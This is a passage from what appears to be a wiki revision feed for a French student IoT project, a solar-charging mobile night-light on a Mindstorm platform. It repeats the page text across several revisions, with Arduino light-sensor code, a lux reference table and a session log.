    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Mindstorm_code.jpg|Photo 3 : Code Mindstorm&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46843</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46843"/>
				<updated>2018-01-23T23:22:00Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la cinquième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46842</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46842"/>
				<updated>2018-01-23T23:21:44Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la cinquième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
[[Fichier:Mindstorm_code.jpg|600px|center|Code Mindstorm]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46841</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46841"/>
				<updated>2018-01-23T23:21:07Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la cinquième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
